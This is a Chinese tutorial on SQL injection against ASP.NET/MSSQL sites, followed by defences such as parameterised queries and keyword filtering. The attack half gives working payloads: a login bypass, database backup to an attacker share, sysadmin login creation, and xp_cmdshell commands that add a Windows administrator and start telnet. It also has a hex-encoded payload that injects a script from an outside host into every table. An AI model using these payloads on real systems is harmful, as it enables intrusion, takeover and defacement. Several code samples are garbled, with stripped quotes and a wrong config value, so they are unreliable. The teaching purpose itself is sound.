SQL注入攻防入門詳解
SQL注入攻防入門詳解
這幾天把sql注入的相關知識整理了下,希望大家多多提意見。(對於sql注入的攻防,我只用過簡單拼接字元串的注入及參數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)
下面的程序方案是採用 http://ASP.NET + MSSQL,其他技術在設置上會有少許不同。
什麼是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字元串,欺騙伺服器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。
嘗嘗SQL注入
1. 一個簡單的登錄頁面
關鍵代碼:
privateboolNoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName={0} AND Password={1}", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(帳戶:admin 123456)
1) 輸入正常數據,效果如圖:
合併的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=』admin』 AND Password=』123456′
2) 輸入注入數據:
如圖,即用戶名為:用戶名:admin』—,密碼可隨便輸入
合併的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=』admin』– Password=』123′
因為UserName值中輸入了「–」注釋符,後面語句被省略而登錄成功。(常常的手法:前面加上『; 『 (分號,用於結束前一條語句),後邊加上『–『 (用於注釋後邊的語句))
2. 上面是最簡單的一種SQL注入,常見的注入語句還有:
1) 猜測資料庫名,備份資料庫
a) 猜測資料庫名: and db_name() >0 或系統表master.dbo.sysdatabases
b) 備份資料庫:;backup database 資料庫名 to disk = 『c:*.db』;–
或:declare a sysname;set @a=db_name();backup database a to disk=』你的IP你的共享目錄bak.dat』 ,name=』test』;–
2) 猜解欄位名稱
a) 猜解法:and (select count(欄位名) from 表名)>0 若「欄位名」存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id(『表名『),1) from sysobjects)>0 把col_name(object_id(『表名『),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。
3) 遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄(伺服器上傳木馬)
先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
a) 利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中
;insert temp exec master.dbo.xp_availablemedia;–
b) 利用xp_subdirs獲得子目錄列表,並存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 『c:』;–
c) 利用xp_dirtree可以獲得「所有」子目錄的目錄樹結構,並存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 『c:』;– (實驗成功)
d) 利用 bcp 命令將表內容導成文件
即插入木馬文本,然後導出存為文件。比如導出為asp文件,然後通過瀏覽器訪問該文件並執行惡意腳本。(使用該命令必須啟動』 xp_cmdshell』)
Exec master..xp_cmdshell N』BCP 「select * from SchoolMarket.dbo.GoodsStoreData;」 queryout c:/inetpub/wwwroot/runcommand.asp -w -S」localhost」 -U」sa」 -P」123″『
(注意:語句中使用的是雙引號,另外表名格式為「資料庫名.用戶名.表名」)
在sql查詢器中通過語句:Exec master..xp_cmdshell N』BCP』即可查看BCP相關參數,如圖:
4) 查詢當前用戶的資料庫許可權
MSSQL中一共存在8種許可權:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通過1=(select IS_SRVROLEMEMBER(『sysadmin』))得到當前用戶是否具有該許可權。
5) 設置新的資料庫帳戶(得到MSSQL管理員賬戶)
d) 在資料庫內添加一個hax用戶,默認密碼是空
;exec sp_addlogin』hax』;–
e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)
;exec master.dbo.sp_password null,password,username;–
f) 將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember 『hax』 ,』sysadmin』;–
6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )
通過(5)獲取到sysadmin許可權的帳戶後,使用查詢分析器連接到資料庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin許可權),即使用 cmd.exe 工具,可以做什麼自己多了解下。
下面我們使用xp_cmdshell來創建一個 Windows 用戶,並開啟遠程登錄服務:
a) 判斷xp_cmdshell擴展存儲過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 『X』 AND name =』xp_cmdshell』
b) 恢復xp_cmdshell擴展存儲過程
Exec master.dbo.sp_addextendedproc 『xp_cmdshell』,』e:inetputwebxplog70.dll』;
開啟後使用xp_cmdshell還會報下面錯誤:
SQLServer 阻止了對組件 『xp_cmdshell』 的過程 『sys.xp_cmdshell』 的訪問,因為此組件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 『xp_cmdshell』。有關啟用 『xp_cmdshell』 的詳細信息,請參閱 SQL Server 聯機叢書中的 「外圍應用配置器「。
通過執行下面語句進行設置:
— 允許配置高級選項
EXEC sp_configure 『show advanced options』, 1
GO
— 重新配置
RECONFIGURE
GO
— 啟用xp_cmdshell
EXEC sp_configure 『xp_cmdshell』, 0
GO
—重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell擴展存儲過程
Exec master.dbo.sp_dropextendedproc 『xp_cmdshell』;
d) 添加windows用戶:
Exec xp_cmdshell 『net user awen /add』;
e) 設置好密碼:
Exec xp_cmdshell 『net user awen password』;
f) 提升到管理員:
Exec xp_cmdshell 『net localgroup administrators awen /add』;
g) 開啟telnet服務:
Exec xp_cmdshell 『net start tlntsvr』
7) 沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.
(本人windows7系統,測試下面SQL語句木有效果)
declare shell int ;
execsp_OAcreate 『w script .shell』,shell output ;
execsp_OAmethod shell,』run』,null,』C:WindowsSystem32cmd.exe /c net user awen /add』;
execsp_OAmethod shell,』run』,null,』C:WindowsSystem32cmd.exe /c net user awen 123′;
execsp_OAmethod shell,』run』,null,』C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add』;
在使用的時候會報如下錯:
SQL Server 阻止了對組件 『Ole Automation Procedures』 的過程 『sys.sp_OACreate』、『sys.sp_OAMethod』 的訪問,因為此組件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 『Ole Automation Procedures』。有關啟用 『Ole Automation Procedures』 的詳細信息,請參閱 SQL Server 聯機叢書中的 「外圍應用配置器「。
解決辦法:
sp_configure 『show advanced options』, 1;
GO
RECONFIGURE;
GO
sp_configure 『Ole Automation Procedures』, 1;
GO
RECONFIGURE;
GO
好了,這樣別人可以登錄你的伺服器了,你怎麼看?
8) 客戶端腳本攻擊
攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到資料庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。
措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字元串轉換為HTML編碼的字元串。
攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到資料庫中,直接使用SQL語法UPDATE資料庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過「HEX編碼」,然後通過exec可以執行「動態」SQL的特性運行腳本」。
a) 向當前資料庫的每個表的每個欄位插入一段惡意腳本
Declare T Varchar(255),C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype=u And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor
Fetch Next From Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec(update [+@T+] Set [+@C+]=Rtrim(Convert(Varchar(8000),[+@C+]))+) Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor
b) 更高級的攻擊,將上面的注入SQL進行「HEX編碼」,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行
dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
eXeC(@s);--
c) 批次刪除資料庫被注入的腳本
declare @delStrnvarchar(500)
set @delStr= --要被替換掉字元 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype=U open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql=update [ + @tableName + ] set [+ @columnName +]= replace([+@columnName+],+@delStr+,) where [+@columnName+] like %+@delStr+% execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print 表:+@tableName+,列:+@columnName+被更新+convert(varchar(10),@iRow)+條記錄; end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print 資料庫共有+convert(varchar(10),@iResult)+條記錄被更新!!! close cur deallocate cur setnocount off
d) 我如何得到「HEX編碼」?
開始不知道HEX是什麼東西,後面查了是「十六進位」,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進位的標示符 』0x』 )
? 在線轉換 (TRANSLATOR, BINARY),進入……
? C#版的轉換,進入……
9) 對於敏感詞過濾不到位的檢查,我們可以結合函數構造SQL注入
比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:
declare A varchar(200);set @A=reverse(58803303431=emanresu erehw 9d4d9c1ac9814f08=drowssaP tes xxx tadpu);
防止SQL注入
1. 資料庫許可權控制,只給訪問資料庫的web應用功能所需的最低許可權帳戶。
如MSSQL中一共存在8種許可權:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定義錯誤信息,首先我們要屏蔽伺服器的詳細錯誤信息傳到客戶端。
在 http://ASP.NET 中,可通過web.config配置文件的節點設置:
<customerrors defaultredirect="url" mode="On|Off|RemoteOnly">
<error. .=""/>
</customerrors>
mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。
On 指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。 Off 指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。 RemoteOnly 指定僅向遠程客戶端顯示自定義錯誤並且向本地主機顯示 http://ASP.NET 錯誤。這是默認值。看下效果圖:
設置為一般性錯誤:
設置為:
3. 把危險的和不必要的存儲過程刪除
xp_:擴展存儲過程的前綴,SQL注入攻擊得手之後,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。
4. 非參數化SQL與參數化SQL
1) 非參數化(動態拼接SQL)
a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉義字元轉換掉。
b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。
c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字元,那麼嚴格控制10個字元長度,一些注入語句就沒辦法進行。
d) 使用枚舉:如果只有有限的幾個值,就用枚舉。
e) 關鍵字過濾:這個門檻比較高,因為各個資料庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!
這邊提供一個關鍵字過濾參考方案(MSSQL):
public static bool ValiParms(string parms)
{
if (parms == null)
{
return false;
}
Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);
Regex regex2 = new Regex("", RegexOptions.IgnoreCase);
Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);
Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);
Regex regex5 = new Regex(""", RegexOptions.IgnoreCase);
Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);
Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);
Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);
Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);
Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);
Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);
return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));
}
優點:寫法相對簡單,網路傳輸量相對參數化拼接SQL小
缺點:
a) 對於關鍵字過濾,常常「顧此失彼」,如漏掉關鍵字,系統函數,對於HEX編碼的SQL語句沒辦法識別等等,並且需要針對各個資料庫封裝函數。
b) 無法滿足需求:用戶本來就想發表包含這些過濾字元的數據。
c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。伺服器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。
2) 參數化查詢(Parameterized Query)
a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能儘早檢查出數據的有效性。
b) 參數化查詢原理:在使用參數化查詢的情況下,資料庫伺服器不會將參數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用參數運行,因此就算參數中含有具有損的指令,也不會被資料庫所運行。
c) 所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最後一道安全防線。
優點:
? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
? 參數化查詢能強制執行類型和長度檢查。
? 在MSSQL中生成並重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大於50%的時間)
缺點:
? 不是所有資料庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用資料庫支持參數化查詢。
疑問:參數化如何「批量更新」資料庫。
a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。
EG:
StringBuilder sqlBuilder=new StringBuilder(512);
Int count=0;
For(循環)
{
sqlBuilder.AppendFormat(「UPDATE login SET password=@password{0} WHERE username=@userName{0}」,count.ToString());
SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}
……
Count++;
}
b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……
疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低於因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。
另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法
--清空緩存的查詢計劃
DBCC FREEPROCCACHE
GO
--查詢緩存的查詢計劃
SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]
FROM sys.dm_exec_cached_plans p
OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql
JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle
GO
3) 參數化查詢示例
效果如圖:
參數化關鍵代碼:
Private bool ProtectLogin(string userName, string password)
{
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},
new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}
};
int count = (int)SqlHelper.Instance.ExecuteScalar
("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);
return count > 0 ? true : false;
}
5. 存儲過程
存儲過程(Stored Procedure)是在大型資料庫系統中,一組為了完成特定功能的SQL 語句集,經編譯後存儲在資料庫中,用戶通過指定存儲過程的名字並給出參數(如果該存儲過程帶有參數)來執行它。
優點:
a) 安全性高,防止SQL注入並且可設定只有某些用戶才能使用指定存儲過程。
b) 在創建時進行預編譯,後續的調用不需再重新編譯。
c) 可以降低網路的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。
缺點:
a) 非應用程序內聯代碼,調式麻煩。
b) 修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到存儲過程中,如變動就不需要重新編譯應用程序)
c) 如果在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化,接著就是系統的相關問題了,最後如果用戶想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。
關鍵代碼為:
cmd.CommandText = procName;// 傳遞存儲過程名
cmd.CommandType = CommandType.StoredProcedure;// 標識解析為存儲過程
如果在存儲過程中SQL語法很複雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?
答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字元串中指定的任何參數值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。
關鍵代碼:
a) sp_executesql
CREATE PROCEDURE PROC_Login_executesql(
@userNamenvarchar(10),
@password nvarchar(10),
@count int OUTPUT
)
AS
BEGIN
DECLARE s nvarchar(1000);
set @s=NSELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password;
EXEC sp_executesql @s,N@userName nvarchar(10),@password nvarchar(10),@count int output,@userName=@userName,@password=@password,@count=@count output
END
b) EXECUTE(注意sql中拼接字元,對於字元參數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)
CREATE PROCEDURE PROC_Login_EXEC(
@userNamenvarchar(10),
@password varchar(20)
)
AS
BEGIN
DECLARE s nvarchar(1000);
set @s=SELECT @count=COUNT(*) FROM Login WHERE UserName=+CAST(@userName AS NVARCHAR(10))+ AND Password=+CAST(@password AS VARCHAR(20))+;
EXEC(DECLARE @count int; +@s+select @count);
END
注入截圖如下:
6. 專業的SQL注入工具及防毒軟體
情景1
A:「丫的,又中毒了……」
B:「我看看,你這不是裸機在跑嗎?」
電腦上至少也要裝一款殺毒軟體或木馬掃描軟體,這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶,就會立馬報出警報。
情景2
A:「終於把網站做好了,太完美了,已經檢查過沒有漏洞了!」
A:「網站怎麼被黑了,怎麼入侵的???」
公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。
7. 額外小知識:LIKE中的通配符
儘管這個不屬於SQL注入,但是其被惡意使用的方式是和SQL注入類似的。
在模糊查詢LIKE中,對於輸入數據中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字元的數據時,這些特殊字元卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。
注意使用通配符的索引性能問題:
a) like的第一個字元是『%』或『_』時,為未知字元不會使用索引, sql會遍歷全表。
b) 若通配符放在已知字元後面,會使用索引。
網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引,可能在別的資料庫中會使用到索引吧……
截圖如下:
有兩種將通配符轉義為普通字元的方法:
1) 使用ESCAPE關鍵字定義轉義符(通用)
在模式中,當轉義符置於通配符之前時,該通配符就解釋為普通字元。例如,要搜索在任意位置包含字元串 5% 的字元串,請使用:
WHERE ColumnA LIKE 『%5/%%』 ESCAPE 『/』
2) 在方括弧 ([ ]) 中只包含通配符本身,或要搜索破折號(-) 而不是用它指定搜索範圍,請將破折號指定為方括弧內的第一個字元。EG:
所以,進行過輸入參數的關鍵字過濾後,還需要做下面轉換確保LIKE的正確執行
推薦閱讀: